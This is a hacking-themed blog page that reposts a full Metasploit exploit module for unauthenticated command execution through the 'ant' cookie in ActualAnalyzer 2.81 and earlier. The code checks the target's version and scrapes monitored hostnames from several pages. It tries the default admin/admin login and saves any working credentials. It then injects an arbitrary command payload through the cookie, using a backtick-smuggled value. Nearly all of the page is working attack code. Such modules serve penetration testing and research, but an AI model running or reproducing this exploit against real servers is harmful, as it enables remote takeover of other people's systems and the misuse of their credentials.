Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863568813

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => "ActualAnalyzer 'ant' Cookie Command Execution",
      'Description'     => %q{
        This module exploits a command execution vulnerability in
        ActualAnalyzer version 2.81 and prior.

        The 'aa.php' file allows unauthenticated users to
        execute arbitrary commands in the 'ant' cookie.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Benjamin Harris', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'      =>
        [
          ['EDB', '34450'],
          ['OSVDB', '110601']
        ],
      'Payload'         =>
        {
          'Space'       => 4096, # HTTP cookie
          'DisableNops' => true,
          'BadChars'    => "\x00"
        },
      'Arch'            => ARCH_CMD,
      'Platform'        => 'unix',
      'Targets'         =>
        [
          # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
          ['ActualAnalyzer <= 2.81', { 'auto' => true }]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Aug 28 2014',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
        OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
        OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
        OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
      ], self.class)
  end

  #
  # Checks if target is running ActualAnalyzer <= 2.81
  #
  def check
    # check for aa.php
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 404
      vprint_error("#{peer} - Could not find aa.php")
      return Exploit::CheckCode::Safe
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
      vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
      return Exploit::CheckCode::Detected
    end
    # check version
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
      vprint_status("#{peer} - Found version: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('2.81')
        report_vuln(
          host: rhost,
          name: self.name,
          info: "Module #{fullname} detected ActualAnalyzer #{version}",
          refs: references,
        )
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Detected
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  #
  # Try to retrieve a valid analytics host from view.php unauthenticated
  #
  def get_analytics_host_view
    analytics_host = nil
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'view.php'),
      'vars_post' => {
        'id_h' => '',
        'listp' => '',
        'act_h' => 'vis_int',
        'oldact' => 'vis_grpg',
        'tint_h' => '',
        'extact_h' => '',
        'home_pos' => '',
        'act' => 'vis_grpg',
        'tint' => 'total',
        'grpg' => '201',
        'cp_vst' => 'on',
        'cp_hst' => 'on',
        'cp_htst' => 'on',
        'cp_reps' => 'y',
        'tab_sort' => '1_1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on view.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from code.php unauthenticated
  #
  def get_analytics_host_code
    analytics_host = nil
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'code.php'),
      'vars_get' => {
        'pid' => '1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on code.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from admin.php with creds
  #
  def get_analytics_host_admin
    analytics_host = nil
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'vars_post' => {
        'uname' => user,
        'passw' => pass,
        'id_h' => '',
        'listp' => '',
        'act_h' => '',
        'oldact' => 'pages',
        'tint_h' => '',
        'extact_h' => '',
        'param_h' => '',
        'param2_h' => '',
        'home_pos' => '',
        'act' => 'dynhtml',
        'set.x' => '11',
        'set.y' => '11'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && res.body =~ />Login</
      vprint_status("#{peer} - Login failed.")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      print_good("#{peer} - Login successful! (#{user}:#{pass})")
      service_data = {
        address: Rex::Socket.getaddress(rhost, true),
        port: rport,
        service_name: (ssl ? 'https' : 'http'),
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        private_type: :password,
        private_data: pass,
        username: user
      }
      credential_data.merge!(service_data)
      credential_core = create_credential(credential_data)
      login_data = {
        core: credential_core,
        last_attempted_at: DateTime.now,
        status: Metasploit::Model::Login::Status::SUCCESSFUL
      }
      login_data.merge!(service_data)
      create_credential_login(login_data)
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on admin.php")
    end
    nil
  end

  def execute_command(cmd, opts = { analytics_host: vhost })
    vuln_cookies = %w(anw anm)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'aa.php'),
      'vars_get' => { 'anp' => opts[:analytics_host] },
      'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
    )
    if !res
      fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
    elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
      print_good("#{peer} - Payload sent successfully")
      return true
    elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
      vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
    elsif res.code == 200 && res.body =~ /Admin area<\/title>/
      fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
    else
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
    nil
  end

  def exploit
    return unless check == Exploit::CheckCode::Vulnerable
    analytics_hosts = []
    if datastore['ANALYZER_HOST'].blank?
      analytics_hosts << get_analytics_host_code
      analytics_hosts << get_analytics_host_view
      analytics_hosts << get_analytics_host_admin
      analytics_hosts << vhost
      analytics_hosts << '127.0.0.1'
      analytics_hosts << 'localhost'
    else
      analytics_hosts << datastore['ANALYZER_HOST']
    end
    analytics_hosts.uniq.each do |host|
      next if host.nil?
      vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
      break if execute_command(payload.encoded, analytics_host: host)
    end
  end
end